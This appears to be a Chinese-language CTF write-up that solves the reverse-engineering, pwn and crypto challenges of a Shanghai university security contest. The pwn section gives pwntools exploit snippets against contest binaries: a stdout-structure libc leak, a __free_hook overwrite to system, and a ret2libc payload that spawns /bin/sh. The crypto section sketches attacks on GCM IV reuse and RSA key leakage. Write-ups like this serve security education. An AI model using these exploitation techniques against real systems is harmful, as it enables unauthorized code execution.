第十届上海市大学生网络交全大赛 pwn&re&crypo全解
字数 1121 2025-09-01 11:25:54
第十届上海市大学生网络安全大赛Pwn&Re&Crypto全解教学文档
一、Reverse Engineering (逆向工程) 部分
EasyRE 题目解析
加密函数分析
加密函数 sub_140001070 包含三个主要阶段:
- S-盒初始化:使用标准RC4算法初始化S盒
- 主加密循环:结合S盒和自定义操作进行加密
- 最后的混淆:对加密结果进行额外处理
加密数据
93 F9 8D 92 52 57 D9 05 C6 0A 50 C7 DB 4F CB D8 5D A6 B9 40 95 70 E7 9A 37 72 4D EF 57
解密脚本编写步骤
-
逆向加密阶段3:
- 第一个字节:
C[0] = C'[0] ^ 0x42 - 后续字节:
C[i] = (C'[i] ^ C'[i-1]) ^ 0x42
- 第一个字节:
-
S-盒初始化:
S = bytearray(range(256)) j = 0 for i in range(256): temp = S[i] j = (j + S[i] + (i % 7) + 4919) & 0xFF S[i], S[j] = S[j], temp -
逆向加密阶段2:
- 模拟S-盒状态更新
- 计算密钥流并解密:
k_part = (i * j) % 16 S_lookup = S[(S_i_old + S[i]) & 0xFF] temp_val = (ROR(ciphertext_byte, 3) - k_part) & 0xFF decrypted_flag[k] = temp_val ^ S_lookup
二、Pwn (二进制漏洞利用) 部分
user 题目解析
漏洞点
- 在edit功能中存在越界写漏洞
- 可以修改stdout结构体泄露libc地址
- 通过修改__free_hook为system函数地址获取shell
利用步骤
-
泄露libc地址:
edit(-8, p64(0xfbad1800)+p64(0)*3+b'\x00') libc_addr = l64() - 0x1b5fd9 -
获取关键函数地址:
system = libc.sym['system'] free_hook = libc.sym['__free_hook'] -
修改__free_hook:
edit_(-11, p64(free_hook)) edit_(-11, p64(system)) -
触发shell:
delete(0) # 删除包含/bin/sh的堆块
account 题目解析
漏洞点
- 32位程序的栈溢出漏洞
- 地址空间布局随机化(ASLR)未启用
- 可直接进行ret2libc攻击
利用步骤
-
泄露libc地址:
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = cyclic(offset) + p32(puts_plt) + p32(main_addr) + p32(puts_got) -
计算system地址:
libc_addr = u32(mx.recv(4)) - 0x6d1e0 system = libc.sym['system'] bin_sh = next(libc.search(b'/bin/sh\0')) -
获取shell:
payload = cyclic(offset) + p32(system) + p32(main_addr) + p32(bin_sh)
三、Cryptography (密码学) 部分
AES_GCM_IV_Reuse 题目解析
漏洞分析
- 使用固定的IV和密钥进行多次加密
- 违反GCM模式的安全要求
- 相同IV和密钥导致加密流重复
利用步骤
-
提取已知信息:
- 已知明文和对应的密文
- 目标密文
-
分离密文和认证标签
-
计算加密流:
keystream = known_plaintext ^ known_ciphertext -
解密密文:
flag = target_ciphertext ^ keystream
多重Caesar密码 题目解析
题目信息
- 密文:
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025} - 提示:"改进的Caesar密码"
解密方法
-
计算密钥流:
shift = (ord(ciphertext_char) - ord(plaintext_char)) % 26 -
编写解密脚本:
shifts = [7, 13, ...] # 计算出的移位序列 plaintext = [] for i, c in enumerate(ciphertext): if c.isalpha(): shift = shifts[i % len(shifts)] plaintext.append(chr((ord(c) - ord('a') - shift) % 26 + ord('a'))) else: plaintext.append(c)
RSA-dl_leak 题目解析
漏洞分析
- 私钥低位泄露
- 可能导致RSA被完全破解
利用方法
- 使用Coppersmith攻击
- 部分私钥信息恢复完整私钥
示例脚本
n = ... # 模数
e = ... # 公钥
d_low = ... # 泄露的私钥低位
# 使用Coppersmith方法恢复完整私钥
# 具体实现取决于泄露的位数和位置
四、通用解题技巧
-
逆向工程:
- 分析加密函数的各个阶段
- 逆向每个阶段的处理逻辑
- 编写对应的解密脚本
-
二进制漏洞利用:
- 识别漏洞类型(堆/栈溢出、UAF等)
- 构造利用链泄露关键地址
- 劫持程序控制流获取shell
-
密码学题目:
- 识别加密算法和模式
- 分析可能的实现漏洞
- 利用已知信息推导未知部分
-
脚本编写技巧:
- 使用pwntools进行二进制交互
- 使用z3等约束求解器处理复杂逻辑
- 实现加密算法的逆向版本